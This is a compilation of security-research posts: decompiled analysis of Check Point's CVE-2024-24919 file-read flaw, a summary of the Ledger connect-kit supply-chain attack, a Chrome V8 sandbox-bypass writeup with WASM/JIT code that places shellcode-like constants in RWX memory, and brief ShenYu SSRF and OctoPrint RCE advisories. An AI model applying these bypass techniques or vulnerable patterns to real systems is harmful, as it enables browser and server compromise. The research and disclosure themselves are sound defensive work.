    && (v26 = fwString::operator char const*((int)v34),
        v27 = fwString::length((fwString *)v34),
        !strncasecmp((const char *)(v26 + v27 - 4), ".exe", 4u)) )
  {
    if ( TdCheckLevelF(4) )
    {
      v33 = fwString::operator char const*((int)v34);
      tderrorFunc("slim", 4, 0, "%s: retrieved buf for \"%s\"", "http_get_CCC_callback", v33);
    }
    v17 = cpBinBuf::Len((cpBinBuf *)v35);
    v18 = cpBinBuf::Data((cpBinBuf *)v35);
    v19 = "application/octet-stream";
  }
  else
  {
    v17 = cpBinBuf::Len((cpBinBuf *)v35);
    v18 = cpBinBuf::Data((cpBinBuf *)v35);
    v19 = "text/html";
  }
  ((void (__cdecl *)(int, int, int, char *))a4)(a5, v18, v17, v19);
  v20 = 0;
LABEL_26:
  cpBinBuf::~cpBinBuf((cpBinBuf *)v35);
  fwString::~fwString((fwString *)v34);
  return v20;
}

We can see that the http_get_CCC_callback function mainly handles HTTP GET requests, checks the validity of the request, reads the contents of specified files, and returns the file contents to the caller through a callback function. It also performs logging operations at different log levels to record important information or errors.

The key logic lies here:

 fwString::Set((fwString *)v34, (const char *)(a2 + 1), a3 - 1);
  v6 = 0;
  needle = files_to_download[0];
  if ( files_to_download[0] )
  {
    while ( 1 )
    {
      haystack = (const char *)fwString::operator char const*((int)v34);
      if ( strstr(haystack, needle) )
        break;
      needle = files_to_download[++v6];
      if ( !needle )
        goto LABEL_16;
    }
    if ( TdCheckLevelF(2) )
      tderrorFunc("slim", 2, 0, "%s: file name appears %s.", "http_get_CCC_callback", files_to_download[v6]);
  }
LABEL_16:
  v9 = (const char *)fwString::operator char const*((int)v34);
  if ( strstr(v9, "CSHELL/") || files_to_download[v6] )
  {
    v10 = fwString::operator char const*((int)v34);
    v11 = (const char *)fw_filename("conf/extender", v10);
    stream = fopen(v11, "rb");

We can see that it gets the file to be downloaded from the request packet. It first matches the file name with the files_to_download list, where v6 is the index.

.data:084882EC files_to_download dd offset aIcswebCab  ; DATA XREF: LOAD:0805C9AC↑o
.data:084882EC                                         ; "icsweb.cab"
.data:084882F0                 dd offset aIcsImagesCab ; "ICS_images.cab"
.data:084882F4                 dd offset aClIcsCab     ; "cl_ics.cab"
.data:084882F8                 dd offset aComponentsXml ; "components.xml"
.data:084882FC                 dd offset aIcsscanDllGz ; "icsscan.dll.gz"
.data:08488300                 dd offset aIcsltaDllGz  ; "icslta.dll.gz"

Next, if the requested file name contains CSHELL/ or if files_to_download[v6] has a value, it proceeds to the fopen function to read the file and return it to the user.

 v9 = (const char *)fwString::operator char const*((int)v34);
  if ( strstr(v9, "CSHELL/") || files_to_download[v6] )
  {
    v10 = fwString::operator char const*((int)v34);
    v11 = (const char *)fw_filename("conf/extender", v10);
    stream = fopen(v11, "rb");

Vulnerability Fix Analysis

Key points of the fix are:

  v13 = (const char *)fwString::operator char const*(v40);
  v14 = strstr(v13, "CSHELL/");
  v15 = files_to_download[v6];
  if ( v14 )
  {
    if ( !v15 )
    {
      v35 = fwString::getstr((fwString *)v40);
      if ( sanitize_filename(v35, a5) )
        goto LABEL_38;
      goto LABEL_31;
    }
  }
  else if ( !v15 )
  {
    if ( !memcmp((const void *)fwString::getstr((fwString *)v40), "clients/MyCRL/", 0xEu) )
    {
      if ( TdCheckLevelF(4) )
      {
        v37 = fwString::getstr((fwString *)v40);
        tderrorFunc("slim", 4, 0, "%s: retrieving a CRL: %s", "http_get_CCC_callback", v37 + 14);
      }
      v38 = fwString::getstr((fwString *)v40);
      if ( sanitize_filename(v38 + 14, a5) )
        goto LABEL_38;
 /* 
 ... omit code
  */
LABEL_38:
    v22 = -1;
    goto LABEL_39;
  }

 /* 
 ... omit code
  */
LABEL_39:
  cpBinBuf::~cpBinBuf((cpBinBuf *)v41);
  fwString::~fwString((fwString *)v40);
  return v22;

We can see that for file names containing CSHELL/ or those not matching the files_to_download list, the sanitize_filename function is used for validation and logging, then it jumps to the end of the function without performing the read operation.

Summary

CVE-2024–24919 is an arbitrary file read vulnerability in Check Point’s IPsec VPN or Mobile Access, which can lead to the leakage of critical sensitive information such as SSH keys, shadow files, and fwauth.NDB. This could allow attackers to perform lateral movement and gain domain administrator privileges.The vendor has confirmed that this vulnerability is being widely exploited. You can refer to the official security advisory to quickly detect and fix the vulnerability.

ledgerhq/connect-kit 1.1.5

ledgerhq/connect-kit 1.1.6

ledgerhq/connect-kit 1.1.7

Event Analysis

The Numen security team discovered that Ledger’s Ledgerhq/connect-kit module has been implanted with malicious phishing code, and that a large number of dapps integrate this functionality, with no clear statistics on the list of affected dapps, which is extremely wide-ranging.

fix · LedgerHQ/connect-kit@a4ba694

Poisoned code https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code

The Revoke.cash Dapp also integrates the Ledgerhq connect-kit (a security tool for managing wallet token authorizations and signatures).

As of this posting, the hacker associated with the Ledgerhq Connect Kit incident has profited.

Hacked wallet address, associated wallet has been flagged.

Ledger Exploiter | Address 0x658729879fca881d9526480b82ae00efc54b5c2d | Etherscan

angel-drainer.eth | Address 0x412f10AAd96fD78da6736387e2C84931Ac20313f | Etherscan

The official fix has been pushed to https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8, until then please do not use your wallet to interact with any dapps for the time being.

Attackers used this account when pushing code: @JunichiSugiura (Jun, former Ledger employee) jun.sugiura.jp#gmail.com, probably @JunichiSugiura’s account has been hacked.

summarize

In this incident, the attacker gained access to the code push account of a former Ledger employee @JunichiSugiura (I can’t rule out that it was done by myself), and then pushed malicious phishing code into the ledgerhq/connect-kit library to carry out a supply chain attack to steal the user’s cryptoassets when the user interacts with the dapp. ledger’s influence is very strong, and the project side of the dapp apps with a dependency on the module is requested to upgrade it as soon as possible.

On November 2, 2023, POC2023 took place as scheduled in South Korea. I was fortunate to attend this conference where YYJB and I presented on the topic of “Modern Chrome Exploit Chain Development.”

Given the title “Modern”, it would indeed be a bit awkward if we didn’t share something relatively new with the attendees. Therefore, after finalizing our topic, I quickly dived into researching V8 sandbox bypasses. Initially, I tried to bypass using binary data fetched, and eventually, I managed to bypass PartitionAlloc, achieving arbitrary read and write of the full address. Thinking I had successfully bypassed it, I quickly finished the presentation and sent it to the organizers, waiting for the conference.

On the early morning of October 30, 2023, at 1 am, a realization hit me that I might have overlooked something. In the middle of the night, an idea popped into my mind, prompting me to test the arbitrary read and write functionality. Recall that during a previous event, the Tianfu Cup, I had exploited a WASM vulnerability using the PartitionAlloc method to achieve arbitrary read and write. So, initially, I didn’t give it much thought this time. I just tested the read and write functionality. However, when I attempted to read and write within WASM, it crashed. I was jolted awake, realizing I hadn’t fully bypassed the V8 sandbox.

Upon further debugging and disassembly analysis, I concluded that: PartitionAlloc had changed from its original version. To be precise, four new mitigation measures had been added:

• We can no longer control the MetadataPage by modifying FreeList. This is because Chrome checks the difference between the current and next address, and if it doesn’t meet the criteria, it directly interrupts (int).
• Once we control the MetadataPage, in the previous x86 version, there’s a logical operation performed on the FreeList address. If the FreeList doesn’t meet the criteria, it directly interrupts (int3).

Partition Alloc free list Mitigation

558110B6E62B - bswap rdx
558110B6E62E - mov rsi,rdx
558110B6E631 - xor rsi,r12
558110B6E634 - cmp rsi,001FFFFF { 2097151 }
558110B6E63B - ja chrome+2C26B80 { ->558110B6EB80 } INT3
558110B6E641 - mov esi,edx
558110B6E643 - and esi,001FC000 { 2080768 }
558110B6E649 - je chrome+2C26B80 { ->558110B6EB80 } INT3

• Restrictions on Target Address Writing in PartitionAlloc: Neither too small
• nor too large.

I reached a preliminary conclusion: I hadn’t fully bypassed PartitionAlloc Alloc; I had only gained arbitrary read and write capabilities within a certain memory range.

Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)

chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }
chrome+2D20306 - cmp rax,r14 (r14 is destination addr)
chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))
chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)
chrome+2D20316 - cmp rax,r14
chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr) then crash))

02 - Searching for New Attacking Surfaces

After confirming that I hadn’t fully bypassed the system, I immediately contacted the event organizers via email to request a later update to my presentation. Then, restless and unable to sleep, I continued my attempts until 3 am when I thought I might have stumbled upon a new bypass method. After a short break, I resumed my efforts at 5 am, and following thorough debugging, I ultimately confirmed a complete bypass.

To bypass the V8 sandbox, we need to achieve full address hijacking and ensure stable shellcode address jumping. In other words, we need reliable RWX/RX address computation. Previously, we disclosed a WASM bypass for the latest version of the V8 sandbox using Function’s native pointer hijacking. However, after our disclosure, Google quickly moved the function parameter allocation in WASM to readable and writable memory, preventing us from placing our desired shellcode within WASM. Here, we first require pointer hijacking, which isn’t too difficult. I believe this is a point Google overlooked, as illustrated below.

Any Chrome researcher, when crafting an exploit, will pinpoint this pointer in memory, then calculate the WASM address, and just like before, inject the shellcode. However, Google hasn’t encapsulated this Native pointer.

After closely examining the JIT-optimized shellcode provided by Manyuemo, I’ve noticed that even in the latest version of Chrome, optimized floating-point numbers are still placed in RWX memory. The challenge lies in reliably calculating this address. I haven’t delved into the source code for address computation post-JIT, as time is of the essence.

function fun() {
    // 1.123=3ff1f7ced916872b
    return [1.123, 1.134, 1.345];
}
for (let i = 0; i < 0x5000; i++) {
    fun(0);
}
fun();

55D9B81040B8 - mov eax,00000006 { 6 }
55D9B81040BD - mov [rdi+03],eax
55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }
55D9B81040CA - vmovq xmm0,r10
55D9B81040CF - vmovsd [rdi+07],xmm0
55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }
55D9B81040DE - vmovq xmm0,r10
55D9B81040E3 - vmovsd [rdi+0F],xmm0
55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }
55D9B81040F2 - vmovq xmm0,r10

I’d like to share a little side note here. Often, after pulling off an exploit, there are points I’m not entirely clear on as to why they worked. With the boss pressing for results and the theoretical foundation not being robust under the given circumstances, all I could do was keep trying to find that method to pop up the calculator. Typically, once an exploit is completed, I’d quickly report to my superiors, and the underlying reasons and principles would be something to delve into later. I believe much of the progress over the past few years has been the result of relentless trial and error.

03 - WASM’s JIT

Drawing from Manyuemo’s JIT function, I suspect that if a V8 sandbox bypass exists, it’s likely to be found in some other peripheral areas. For instance, in WASM, WebAudio, WebSQL, and so on — areas where writing exploits used to be straightforward but where Google has been consistently beefing up security. So, I decided to give WASM function JIT a shot. Sure enough, I discovered that even after optimization, WASM functions would place parameters in RWX memory.

wat code

(module
  (func (export "main") (result f64)
    ;; -6.654614018578406e+60=CC90909090909090
    f64.const -6.654614018578406e+60
    ;; 1.124=3ff1fbe76c8b4396
    f64.const 1.124
    ;; 1.125=3ff2000000000000
    f64.const 1.125
    ;; 1.126=3ff204189374bc6a
    f64.const 1.126
    drop
    drop
    drop
))

var wasmCode = new Uint8Array([...wasm..binary…]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
for (let i = 0; i < 0x10000; i++) {
   f();
}
%DebugPrint(wasmInstance);

javascript test code generated code

355CEAE43715 - jbe 355CEAE43771
355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }
355CEAE43725 - vmovq xmm0,r10
355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }
355CEAE43734 - vmovq xmm1,r10
355CEAE43739 - mov r10,3FF2000000000000 { 1.13 }
355CEAE43743 - vmovq xmm2,r10
355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }
355CEAE43752 - vmovq xmm3,r10

04 - Demonstration

05 - Conclusion

While balancing JIT performance, much like the previous WASM bypasses, we have to consider setting longer, predictable constants like floating-point numbers to R/RW, or concurrently fix their predictable addressing methods. If not, attackers could easily achieve stable shellcode execution.

06 - Reference

https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/
https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14
https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078
https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf
https://bugs.chromium.org/p/chromium/issues/detail?id=1452137

Preface

Apache ShenYu is a Java native API Gateway for service proxy, protocol conversion and API governance.

Description

Numen Cyber Labs vulnerability researchers have discovered an SSRF vulnerability in Apache ShenYu< version 2.6.

CVE ID

CVE-2023–25753

Impacts version

< 2.6

Analysis

org.apache.shenyu.admin.controller.SandboxController#proxyGateway receives proxyGatewayDTO, calls requestProxyGateway method

ProxyGatewayDTO has requestUrl, cookie, headers, httpMethod parameters

requestProxyGateway method gets the parameters in the ProxyGatewayDTO, call org.apache.shenyu.admin.utils.HttpUtils#requestCall to launch the request

requestCall is used to build the http request.

From the above flow you can see that there is no restriction on this request, we can use requestProxyGateway to utilize to send arbitrary http request as the URI, HTTP request method, header are all controllable.

Attack Surfaces

In addition to the usual SSRF exploitation methods, it is also possible to attack the local shenyu-bootstrap service on port 9195.

Fixes

Blacklist restrictions on ports have been made in the latest version!

Reference

https://www.cve.org/CVERecord?id=CVE-2023-25753

https://shenyu.apache.org/zh/docs/index

Preface

OctoPrint is an open source 3D printer controller application that provides a web interface for connected printers. It displays printer status and key parameters, and supports scheduling print jobs and controlling the printer remotely.

Description

Numen Security Labs vulnerability researchers have discovered in OctoPrint version less than or equal to 1.9.2 that print job execution is configured with a specially crafted GCODE language script that would allow arbitrary code to be executed during the rendering of that script.

CVE ID

CVE-2023–41047

Affected Versions

< 1.9.3

Analysis

src/octoprint/server/api/settings.py#getSettings()

Counterparts

Passing the gcode to the loadScript function of the s object

The s object comes from

src/octoprint/settings/__init__.py#loadScript()

Render using the template.render function.

The template object comes from the _get_script_template function.

The vulnerability is triggered by an insecure rendering of gcode, where no security measures are taken in OctoPrint, leading to this issue.

Fixes

Version 1.9.3 adds a security sandbox

Timeline

• 2023–8–31 Report vulnerabilities to the OctoPrint team
• 2023–8–31 Received a response from the OctoPrint team confirming the existence of the vulnerability
• 2023–10–10 Fixing security vulnerabilities and releasing OctoPrint 1.9.3
• 2023–10–10 Public CVE

Internet Influence

More than 20,000 exposed OctoPrints were found through fofa, shodan.

Reference

https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3

https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph

https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db

https://nvd.nist.gov/vuln/detail/CVE-2023-41047